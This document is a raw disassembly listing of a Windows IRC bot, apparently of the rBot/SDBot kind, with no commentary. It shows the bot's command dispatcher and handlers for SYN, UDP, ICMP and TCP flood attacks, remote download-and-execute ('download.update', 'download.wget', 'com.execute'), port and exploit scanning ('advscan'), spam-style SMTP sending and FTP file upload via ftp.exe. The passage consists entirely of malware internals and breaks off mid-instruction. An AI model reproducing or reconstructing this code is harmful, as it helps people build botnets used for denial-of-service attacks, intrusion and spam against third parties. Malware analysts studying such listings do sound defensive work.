pop ecx jnz short loc_410CA4 push [ebp+arg_0] push 6 jmp loc_410C05 ; --------------------------------------------------------------------------- loc_410CA4: ; CODE XREF: sub_40EC43+2055j push edi push offset aDelete ; "delete" call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_410CBF push [ebp+arg_0] push 1 jmp loc_410C05 ; --------------------------------------------------------------------------- loc_410CBF: ; CODE XREF: sub_40EC43+2070j push edi push offset aShare ; "share" call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_410D42 cmp [ebp+arg_18], ebx jz short loc_410D0F cmp [ebp+var_95C], bl jz short loc_410CE5 push ebx push [ebp+arg_18] push 1 jmp short loc_410CF0 ; --------------------------------------------------------------------------- loc_410CE5: ; CODE XREF: sub_40EC43+2098j push [ebp+esi+var_88] push [ebp+arg_18] push ebx loc_410CF0: ; CODE XREF: sub_40EC43+20A0j call sub_40D8F8 push eax lea eax, [ebp+var_2EC] push offset aS_3 ; "%s" push eax call sub_416FB6 add esp, 18h jmp loc_4115BE ; --------------------------------------------------------------------------- loc_410D0F: ; CODE XREF: sub_40EC43+2090j push ebx push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40DAED add esp, 10h test eax, eax lea eax, [ebp+var_2EC] jz short loc_410D38 push offset dword_436CFC jmp loc_410E2E ; --------------------------------------------------------------------------- loc_410D38: ; CODE XREF: sub_40EC43+20E9j push offset dword_436CCC jmp loc_410E2E ; --------------------------------------------------------------------------- loc_410D42: ; CODE XREF: sub_40EC43+208Bj push edi push offset aUser ; "user" call sub_4173D0 pop ecx test eax, eax pop ecx jnz loc_410DD8 mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_410DAB push [ebp+var_4] cmp [ebp+var_95C], bl push [ebp+var_8C] push [ebp+arg_4] jz short loc_410D78 push ebx push eax push 1 jmp short loc_410D8C ; --------------------------------------------------------------------------- loc_410D78: ; CODE XREF: sub_40EC43+212Dj mov esi, [ebp+esi+var_88] cmp esi, ebx jz short loc_410D88 push esi push eax push ebx jmp short loc_410D8C ; --------------------------------------------------------------------------- loc_410D88: ; CODE XREF: sub_40EC43+213Ej push ebx push eax push 2 loc_410D8C: ; CODE XREF: sub_40EC43+2133j ; sub_40EC43+2143j call sub_40DC0E push eax lea eax, [ebp+var_2EC] push offset aS_3 ; "%s" push eax call sub_416FB6 add esp, 24h jmp loc_4115BE ; --------------------------------------------------------------------------- loc_410DAB: ; CODE XREF: sub_40EC43+2119j push ebx push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40E122 add esp, 10h test eax, eax lea eax, [ebp+var_2EC] jz short loc_410DD1 push offset dword_436C94 jmp short loc_410E2E ; --------------------------------------------------------------------------- loc_410DD1: ; CODE XREF: sub_40EC43+2185j push offset dword_436C68 jmp short loc_410E2E ; --------------------------------------------------------------------------- loc_410DD8: ; CODE XREF: sub_40EC43+210Ej push edi push offset aSend ; "send" call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_410E23 cmp [ebp+arg_18], ebx jz short loc_410E1C push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] push [ebp+arg_0] call sub_40E3CC push eax lea eax, [ebp+var_2EC] push offset aS_3 ; "%s" push eax call sub_416FB6 add esp, 1Ch jmp loc_4115BE ; --------------------------------------------------------------------------- loc_410E1C: ; CODE XREF: sub_40EC43+21A9j push offset dword_436C38 jmp short loc_410E28 ; --------------------------------------------------------------------------- loc_410E23: ; CODE XREF: sub_40EC43+21A4j push offset dword_436C0C loc_410E28: ; CODE XREF: sub_40EC43+1F7Aj ; sub_40EC43+21DEj ... lea eax, [ebp+var_2EC] loc_410E2E: ; CODE XREF: sub_40EC43+2004j ; sub_40EC43+200Ej ... push eax call sub_416FB6 pop ecx pop ecx jmp loc_4115BE ; --------------------------------------------------------------------------- loc_410E3B: ; CODE XREF: sub_40EC43+1F5Fj push [ebp+arg_8] push offset aCom_capture ; "com.capture" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413187 push [ebp+arg_8] push offset aCom_cap ; "com.cap" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413187 push [ebp+arg_8] push offset aIrc_gethost ; "irc.gethost" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4130A9 push [ebp+arg_8] push offset aIrc_gh ; "irc.gh" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4130A9 mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_18], eax jz loc_40F098 push [ebp+arg_8] push offset aIrc_addalias ; "irc.addalias" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_41306A push [ebp+arg_8] push offset aIrc_aa ; "irc.aa" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_41306A push [ebp+arg_8] push offset aIrc_privmsg ; "irc.privmsg" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413014 push [ebp+arg_8] push offset aIrc_pm ; "irc.pm" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413014 push [ebp+arg_8] push offset aIrc_action ; "irc.action" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_412FA6 push [ebp+arg_8] push offset aIrc_ac ; "irc.ac" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_412FA6 push [ebp+arg_8] push offset aIrc_cycle ; "irc.cycle" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_412F40 push [ebp+arg_8] push offset aIrc_cy ; "irc.cy" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_412F40 push [ebp+arg_8] push offset aIrc_mode ; "irc.mode" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_412F09 push [ebp+arg_8] push offset aIrc_m ; "irc.m" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_412F09 push [ebp+arg_8] push offset aClone_raw ; "clone.raw" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_412E9E push [ebp+arg_8] push offset aClone_ra ; "clone.ra" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_412E9E push [ebp+arg_8] push offset aClone_mode ; "clone.mode" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_412E1C push [ebp+arg_8] push offset aClone_m ; "clone.m" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_412E1C push [ebp+arg_8] push offset aClone_nick ; "clone.nick" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_412DAE push [ebp+arg_8] push offset aClone_ni ; "clone.ni" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_412DAE push [ebp+arg_8] push offset aClone_join ; "clone.join" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_412D88 push [ebp+arg_8] push offset aClone_j ; "clone.j" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_412D88 push [ebp+arg_8] push offset aClone_part ; "clone.part" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_412D28 push [ebp+arg_8] push offset aClone_p ; "clone.p" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_412D28 push [ebp+arg_8] push offset aIrc_repeat ; "irc.repeat" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_412C62 push [ebp+arg_8] push offset aIrc_rp ; "irc.rp" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_412C62 push [ebp+arg_8] push offset aIrc_delay ; "irc.delay" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_412BC7 push [ebp+arg_8] push offset aIrc_de ; "irc.de" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_412BC7 push [ebp+arg_8] push offset aDownload_updat ; "download.update" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_412A4A push [ebp+arg_8] push offset aDownload_up ; "download.up" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_412A4A push [ebp+arg_8] push offset aCom_execute ; "com.execute" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4129B1 push [ebp+arg_8] push offset aCom_e ; "com.e" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4129B1 push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4128A5 push [ebp+arg_8] push offset aFf ; "ff" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4128A5 push [ebp+arg_8] push offset aCom_rename ; "com.rename" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_412854 push [ebp+arg_8] push offset aCom_mv ; "com.mv" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_412854 push [ebp+arg_8] push offset aDdos_icmp ; "ddos.icmp" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_41275A push [ebp+arg_8] push offset aDdos_ic ; "ddos.ic" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_41275A mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_0], eax jz loc_40F098 push [ebp+arg_8] push offset aClone_make ; "clone.make" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_412670 push [ebp+arg_8] push offset aClone_start ; "clone.start" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_412670 push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_41255F push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_41255F push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_41255F push [ebp+arg_8] push offset aDdos_synflood ; "ddos.synflood" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_412461 push [ebp+arg_8] push offset aDdos_synf ; "ddos.synf" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_412461 push [ebp+arg_8] push offset aDownload_wget ; "download.wget" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_412324 push [ebp+arg_8] push offset aDownload_wg ; "download.wg" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_412324 push [ebp+arg_8] push offset aDaemon_redirec ; "daemon.redirect" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_41222B push [ebp+arg_8] push offset aDaemon_rd ; "daemon.rd" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_41222B push [ebp+arg_8] push offset aRoot_portscan ; "root.portscan" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_412139 push [ebp+arg_8] push offset aRoot_ps ; "root.ps" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_412139 push [ebp+arg_8] push offset aClone_privmsg ; "clone.privmsg" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_412064 push [ebp+arg_8] push offset aClone_pm ; "clone.pm" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_412064 push [ebp+arg_8] push offset aClone_action ; "clone.action" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_411F52 push [ebp+arg_8] push offset aClone_ac ; "clone.ac" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_411F52 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_10], eax jz loc_40F098 push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_411BFD push [ebp+arg_8] push offset aAsc ; "asc" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_411BFD push [ebp+arg_8] push offset aDdos_udpflood ; "ddos.udpflood" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_411ADE push [ebp+arg_8] push offset aDdos_udpf ; "ddos.udpf" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_411ADE push [ebp+arg_8] push offset aU_0 ; "u" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_411ADE push [ebp+arg_8] push offset aDdos_pingflood ; "ddos.pingflood" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4119B8 push [ebp+arg_8] push offset aDdos_pingf ; "ddos.pingf" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4119B8 push [ebp+arg_8] push offset aP ; "p" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4119B8 push [ebp+arg_8] push offset aDdos_tcpflood ; "ddos.tcpflood" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4117F6 push [ebp+arg_8] push offset aDdos_tcpf ; "ddos.tcpf" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4117F6 push [ebp+arg_8] push offset aUtil_email ; "util.email" call sub_4173D0 pop ecx test eax, eax pop ecx jnz loc_4115F6 lea eax, [ebp+var_AC0] push edi push eax call sub_4176C0 push [ebp+arg_18] call sub_41751F push [ebp+arg_0] mov [ebp+arg_18], eax lea eax, [ebp+var_2124] push eax call sub_4176C0 push [ebp+arg_10] lea eax, [ebp+var_17E0] push eax call sub_4176C0 push offset asc_429420 ; " " push offset a__0 ; "_" push [ebp+esi+var_80] call sub_40A610 push eax lea eax, [ebp+var_2024] push eax call sub_4176C0 add esp, 30h lea eax, [ebp+var_1974] push eax push 101h call dword_43EA9C ; WSAStartup lea eax, [ebp+var_AC0] push eax call dword_43EBA8 ; gethostbyname push 6 push 1 push 2 mov edi, eax call dword_43EBA4 ; socket push [ebp+arg_18] mov esi, eax mov [ebp+var_E4], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_E0], eax call dword_43EB24 ; htons mov [ebp+var_E2], ax lea eax, [ebp+var_2024] push eax lea eax, [ebp+var_2124] push eax lea eax, [ebp+var_2024] push eax lea eax, [ebp+var_17E0] push eax lea eax, [ebp+var_2124] push eax lea eax, [ebp+var_2924] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_416FB6 add esp, 1Ch lea eax, [ebp+var_E4] push 10h push eax push esi call dword_43EACC ; connect mov edi, 100h push ebx lea eax, [ebp+var_1F20] push edi push eax push esi call dword_43EB3C ; recv lea eax, [ebp+var_1F20] push ebx push eax call sub_4177B0 pop ecx push eax lea eax, [ebp+var_2924] push eax push esi call dword_43EB74 ; send push ebx lea eax, [ebp+var_1F20] push edi push eax push esi call dword_43EB3C ; recv push esi call dword_43EBBC ; closesocket call dword_43EA84 ; WSACleanup lea eax, [ebp+var_17E0] push eax push offset dword_4368C0 loc_4115AF: ; CODE XREF: sub_40EC43+3AFDj ; sub_40EC43+3F60j ... lea eax, [ebp+var_2EC] loc_4115B5: ; CODE XREF: sub_40EC43+3E02j push eax call sub_416FB6 loc_4115BB: ; CODE XREF: sub_40EC43+56BBj add esp, 0Ch loc_4115BE: ; CODE XREF: sub_40EC43+1F82j ; sub_40EC43+1FDCj ... cmp [ebp+var_8], ebx jnz short loc_4115DF push ebx lea eax, [ebp+var_2EC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D476 add esp, 14h loc_4115DF: ; CODE XREF: sub_40EC43+297Ej ; sub_40EC43+4815j ... mov esi, [ebp+arg_24] loc_4115E2: ; CODE XREF: sub_40EC43+954j ; sub_40EC43+4B3Fj ... lea eax, [ebp+var_2EC] push eax call sub_40BD8D pop ecx mov eax, esi jmp loc_40F09B ; --------------------------------------------------------------------------- loc_4115F6: ; CODE XREF: sub_40EC43+2816j push [ebp+arg_8] push offset aUtil_httpcon ; "util.httpcon" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4117C8 push [ebp+arg_8] push offset aUtil_hcon ; "util.hcon" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4117C8 mov esi, [ebp+esi+var_80] cmp esi, ebx jz loc_40F098 push [ebp+arg_8] push offset aFtp_upload ; "ftp.upload" call sub_4173D0 pop ecx test eax, eax pop ecx jnz loc_414CDE push 4 push esi call sub_40CE09 pop ecx test eax, eax pop ecx jnz short loc_41169C push esi push offset dword_436868 loc_41165B: ; CODE XREF: sub_40EC43+4D69j lea eax, [ebp+var_2EC] push eax call sub_416FB6 add esp, 0Ch loc_41166A: ; CODE XREF: sub_40EC43+4461j ; sub_40EC43+574Aj cmp [ebp+var_8], ebx jnz short loc_41168B push ebx lea eax, [ebp+var_2EC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D476 add esp, 14h loc_41168B: ; CODE XREF: sub_40EC43+2A2Aj ; sub_40EC43+593Ej ... lea eax, [ebp+var_2EC] push eax call sub_40BD8D jmp loc_414E5F ; --------------------------------------------------------------------------- loc_41169C: ; CODE XREF: sub_40EC43+2A10j call dword_423058 ; GetTickCount push eax call sub_417008 pop ecx call sub_417012 push 9 cdq pop ecx idiv ecx push edx call sub_417012 push 63h cdq pop ecx idiv ecx push edx call sub_417012 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_1F24] push edx push eax lea eax, [ebp+var_17E4] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_416FB6 lea eax, [ebp+var_17E4] push offset aAb ; "ab" push eax call sub_4176A8 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_40F098 push esi push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_417656 push [ebp+arg_24] call sub_417600 lea eax, [ebp+var_17E4] push eax lea eax, [ebp+var_AC0] push offset aSS_4 ; "-s:%s" push eax call sub_416FB6 add esp, 2Ch lea eax, [ebp+var_AC0] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_43EA98 push edi push esi test eax, eax jz short loc_411766 push offset dword_4367F0 jmp short loc_41176B ; --------------------------------------------------------------------------- loc_411766: ; CODE XREF: sub_40EC43+2B1Aj push offset dword_4367B4 loc_41176B: ; CODE XREF: sub_40EC43+2B21j call sub_416FB6 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_411794 push ebx lea eax, [ebp+var_2EC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D476 add esp, 14h loc_411794: ; CODE XREF: sub_40EC43+2B33j lea eax, [ebp+var_2EC] push eax call sub_40BD8D jmp short loc_4117AE ; --------------------------------------------------------------------------- loc_4117A2: ; CODE XREF: sub_40EC43+2B7Ej lea eax, [ebp+var_17E4] push eax call sub_4198BA loc_4117AE: ; CODE XREF: sub_40EC43+2B5Dj lea eax, [ebp+var_17E4] push 4 push eax call sub_40CE09 add esp, 0Ch test eax, eax jnz short loc_4117A2 jmp loc_40F098 ; --------------------------------------------------------------------------- loc_4117C8: ; CODE XREF: sub_40EC43+29C4j ; sub_40EC43+29DBj push [ebp+esi+var_80] push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] call sub_41751F pop ecx push eax push edi push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_406950 jmp loc_414CDB ; --------------------------------------------------------------------------- loc_4117F6: ; CODE XREF: sub_40EC43+27E8j ; sub_40EC43+27FFj mov esi, 80h push edi lea eax, [ebp+var_BF0] push esi push eax call sub_41752A lea eax, [ebp+var_BF0] push eax push offset aSyn ; "syn" call sub_4173D0 add esp, 14h test eax, eax jz short loc_411859 lea eax, [ebp+var_BF0] push eax push offset aAck ; "ack" call sub_4173D0 pop ecx test eax, eax pop ecx jz short loc_411859 lea eax, [ebp+var_BF0] push eax push offset aRandom ; "random" call sub_4173D0 pop ecx test eax, eax pop ecx jz short loc_411859 push offset dword_43677C jmp loc_411980 ; --------------------------------------------------------------------------- loc_411859: ; CODE XREF: sub_40EC43+2BDCj ; sub_40EC43+2BF3j ... push [ebp+arg_10] call sub_41751F cmp eax, ebx pop ecx mov [ebp+var_AE8], eax jle loc_41197B push edi lea eax, [ebp+var_BF0] push esi push eax call sub_41752A push [ebp+arg_18] lea eax, [ebp+var_C70] push esi push eax call sub_41752A push [ebp+arg_0] call sub_41751F mov [ebp+var_AEC], eax xor eax, eax cmp [ebp+var_94E], bl push [ebp+var_8C] setnz al mov [ebp+var_AE4], eax mov eax, [ebp+arg_4] mov [ebp+var_C74], eax lea eax, [ebp+var_B70] push esi push eax call sub_41752A mov eax, [ebp+var_4] add esp, 28h cmp [ebp+var_AE4], ebx mov [ebp+var_AE0], eax mov eax, [ebp+var_8] mov [ebp+var_ADC], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_4118F0 mov eax, offset aNormal ; "Normal" loc_4118F0: ; CODE XREF: sub_40EC43+2CA6j push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push eax push offset dword_436728 lea eax, [ebp+var_2EC] push 200h push eax call sub_41752A push ebx lea eax, [ebp+var_2EC] push 0Ch push eax call sub_416A7A add esp, 2Ch mov [ebp+var_AF0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C74] push ebx push eax push offset sub_401D6D push ebx push ebx call dword_4230A0 ; CreateThread mov ecx, [ebp+var_AF0] imul ecx, 234h cmp eax, ebx mov dword_44457C[ecx], eax jnz short loc_411971 call dword_42308C ; RtlGetLastWin32Error push eax push offset dword_4366E0 jmp loc_410B68 ; --------------------------------------------------------------------------- loc_411969: ; CODE XREF: sub_40EC43+2D34j push 32h call dword_423064 ; Sleep loc_411971: ; CODE XREF: sub_40EC43+2D13j cmp [ebp+var_AD8], ebx jz short loc_411969 jmp short loc_41198E ; --------------------------------------------------------------------------- loc_41197B: ; CODE XREF: sub_40EC43+2C27j push offset dword_436698 loc_411980: ; CODE XREF: sub_40EC43+1CBAj ; sub_40EC43+1DC4j ... lea eax, [ebp+var_2EC] push eax call sub_416FB6 pop ecx pop ecx loc_41198E: ; CODE XREF: sub_40EC43+1557j ; sub_40EC43+1D8Cj ... cmp [ebp+var_8], ebx jnz loc_40F594 push ebx push [ebp+var_4] loc_41199B: ; CODE XREF: sub_40EC43+3905j lea eax, [ebp+var_2EC] push eax push [ebp+var_8C] push [ebp+arg_4] loc_4119AB: ; CODE XREF: sub_40EC43+561Bj call sub_40D476 add esp, 14h jmp loc_40F594 ; --------------------------------------------------------------------------- loc_4119B8: ; CODE XREF: sub_40EC43+27A3j ; sub_40EC43+27BAj ... cmp dword_43EC10, ebx mov esi, [ebp+arg_4] jnz loc_411AC3 mov eax, [ebp+var_8] push 7Fh mov [ebp+var_5A4], eax mov eax, [ebp+var_4] mov [ebp+var_5A8], eax lea eax, [ebp+var_63C] push edi push eax call sub_418910 push [ebp+arg_18] call sub_41751F push [ebp+arg_0] mov [ebp+var_5BC], eax call sub_41751F push [ebp+arg_10] mov [ebp+var_5B8], eax call sub_41751F push 7Fh mov [ebp+var_5B4], eax push [ebp+var_8C] lea eax, [ebp+var_6BC] push eax call sub_418910 push [ebp+var_5B4] lea eax, [ebp+var_63C] mov [ebp+var_6C0], esi push [ebp+var_5B8] push eax lea eax, [ebp+var_2EC] push [ebp+var_5BC] push offset unk_436640 push eax call sub_416FB6 push ebx lea eax, [ebp+var_2EC] push 0Eh push eax call sub_416A7A add esp, 48h mov [ebp+var_5AC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6C0] push ebx push eax push offset sub_40ADB1 push ebx push ebx call dword_4230A0 ; CreateThread mov ecx, [ebp+var_5AC] imul ecx, 234h cmp eax, ebx mov dword_44457C[ecx], eax jnz short loc_411AB6 call dword_42308C ; RtlGetLastWin32Error push eax push offset unk_4365F8 jmp loc_41263D ; --------------------------------------------------------------------------- loc_411AAE: ; CODE XREF: sub_40EC43+2E79j push 32h call dword_423064 ; Sleep loc_411AB6: ; CODE XREF: sub_40EC43+2E58j cmp [ebp+var_5A0], ebx jz short loc_411AAE jmp loc_41264C ; --------------------------------------------------------------------------- loc_411AC3: ; CODE XREF: sub_40EC43+2D7Ej push 1FFh lea eax, [ebp+var_2EC] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_418910 jmp loc_412649 ; --------------------------------------------------------------------------- loc_411ADE: ; CODE XREF: sub_40EC43+275Ej ; sub_40EC43+2775j ... mov eax, [ebp+var_8] push 7Fh mov [ebp+var_5A4], eax mov eax, [ebp+var_4] mov [ebp+var_5A8], eax lea eax, [ebp+var_63C] push edi push eax call sub_418910 push [ebp+arg_18] call sub_41751F push [ebp+arg_0] mov [ebp+var_5BC], eax call sub_41751F push [ebp+arg_10] mov [ebp+var_5B8], eax call sub_41751F mov esi, [ebp+esi+var_80] add esp, 18h cmp esi, ebx mov [ebp+var_5B4], eax jz short loc_411B43 push esi call sub_41751F pop ecx mov [ebp+var_5B0], eax jmp short loc_411B49 ; --------------------------------------------------------------------------- loc_411B43: ; CODE XREF: sub_40EC43+2EEFj mov [ebp+var_5B0], ebx loc_411B49: ; CODE XREF: sub_40EC43+2EFEj push 7Fh lea eax, [ebp+var_6BC] push [ebp+var_8C] push eax call sub_418910 push [ebp+var_5B4] mov esi, [ebp+arg_4] lea eax, [ebp+var_63C] mov [ebp+var_6C0], esi push [ebp+var_5B8] push eax lea eax, [ebp+var_2EC] push [ebp+var_5BC] push offset dword_436588 push eax call sub_416FB6 push ebx lea eax, [ebp+var_2EC] push 0Fh push eax call sub_416A7A add esp, 30h mov [ebp+var_5AC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6C0] push ebx push eax push offset sub_40AF3D push ebx push ebx call dword_4230A0 ; CreateThread mov ecx, [ebp+var_5AC] imul ecx, 234h cmp eax, ebx mov dword_44457C[ecx], eax jnz short loc_411BF0 call dword_42308C ; RtlGetLastWin32Error push eax push offset dword_436540 jmp loc_41263D ; --------------------------------------------------------------------------- loc_411BE8: ; CODE XREF: sub_40EC43+2FB3j push 32h call dword_423064 ; Sleep loc_411BF0: ; CODE XREF: sub_40EC43+2F92j cmp [ebp+var_5A0], ebx jz short loc_411BE8 jmp loc_41264C ; --------------------------------------------------------------------------- loc_411BFD: ; CODE XREF: sub_40EC43+2730j ; sub_40EC43+2747j push 8 call sub_416CBC push [ebp+arg_18] mov [ebp+arg_8], eax call sub_41751F add eax, [ebp+arg_8] pop ecx pop ecx cmp eax, 258h jle short loc_411C4D push [ebp+arg_8] lea eax, [ebp+var_2EC] push offset unk_4364F0 push eax call sub_416FB6 push ebx lea eax, [ebp+var_2EC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D476 jmp loc_413062 ; --------------------------------------------------------------------------- loc_411C4D: ; CODE XREF: sub_40EC43+2FD6j push edi call sub_41751F push [ebp+arg_18] mov [ebp+var_488], eax call sub_41751F push [ebp+arg_0] mov [ebp+var_470], eax call sub_41751F add esp, 0Ch cmp eax, 2 mov [ebp+var_484], eax jnb short loc_411C86 push 2 pop eax mov [ebp+var_484], eax loc_411C86: ; CODE XREF: sub_40EC43+3038j push 3Ch pop ecx cmp eax, ecx jbe short loc_411C93 mov [ebp+var_484], ecx loc_411C93: ; CODE XREF: sub_40EC43+3048j push [ebp+arg_10] call sub_41751F mov [ebp+var_480], eax mov eax, 320h cmp [ebp+var_480], eax pop ecx jbe short loc_411CB5 mov [ebp+var_480], eax loc_411CB5: ; CODE XREF: sub_40EC43+306Aj or [ebp+var_46C], 0FFFFFFFFh cmp dword_429D60, ebx mov [ebp+arg_10], ebx jz short loc_411D0B mov [ebp+arg_24], offset dword_429D60 loc_411CCE: ; CODE XREF: sub_40EC43+30AAj mov eax, [ebp+arg_24] push edi add eax, 0FFFFFFD8h push eax call sub_4173D0 pop ecx test eax, eax pop ecx jz short loc_411CF1 add [ebp+arg_24], 3Ch inc [ebp+arg_10] mov eax, [ebp+arg_24] cmp [eax], ebx jnz short loc_411CCE jmp short loc_411D0B ; --------------------------------------------------------------------------- loc_411CF1: ; CODE XREF: sub_40EC43+309Cj mov eax, [ebp+arg_10] mov ecx, eax mov [ebp+var_46C], eax imul ecx, 3Ch mov ecx, dword_429D60[ecx] mov [ebp+var_488], ecx loc_411D0B: ; CODE XREF: sub_40EC43+3082j ; sub_40EC43+30ACj cmp [ebp+var_488], ebx jz loc_413DBC mov edi, [ebp+esi+var_80] cmp edi, ebx mov [ebp+arg_18], edi jz short loc_411D52 cmp byte ptr [edi], 23h jz short loc_411D52 push edi lea eax, [ebp+var_59C] push 10h push eax call sub_41752A push 78h push edi call sub_418C50 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_45C], eax jmp loc_411E26 ; --------------------------------------------------------------------------- loc_411D52: ; CODE XREF: sub_40EC43+30DDj ; sub_40EC43+30E2j cmp [ebp+var_95F], bl jnz short loc_411D74 cmp [ebp+var_95E], bl jnz short loc_411D74 cmp [ebp+var_94E], bl jnz short loc_411D74 push offset unk_4364A8 jmp loc_411980 ; --------------------------------------------------------------------------- loc_411D74: ; CODE XREF: sub_40EC43+3115j ; sub_40EC43+311Dj ... push 10h lea eax, [ebp+arg_0] pop edi push eax lea eax, [ebp+var_E4] push eax mov [ebp+arg_0], edi push [ebp+arg_4] call dword_43EAC8 ; getsockname mov al, [ebp+var_95F] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_E0], eax push [ebp+var_E0] call dword_43EBB0 ; inet_ntoa push eax lea eax, [ebp+var_59C] push eax call sub_418910 add esp, 0Ch cmp [ebp+var_94E], bl jz short loc_411E20 xor eax, eax cmp [ebp+var_95F], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_59C] push eax call sub_418C10 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_411E14 loc_411DF2: ; CODE XREF: sub_40EC43+31CFj cmp eax, ebx jz short loc_411E14 mov byte ptr [eax], 78h lea eax, [ebp+var_59C] push 30h push eax call sub_418C10 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_411DF2 loc_411E14: ; CODE XREF: sub_40EC43+31ADj ; sub_40EC43+31B1j mov [ebp+var_45C], 1 jmp short 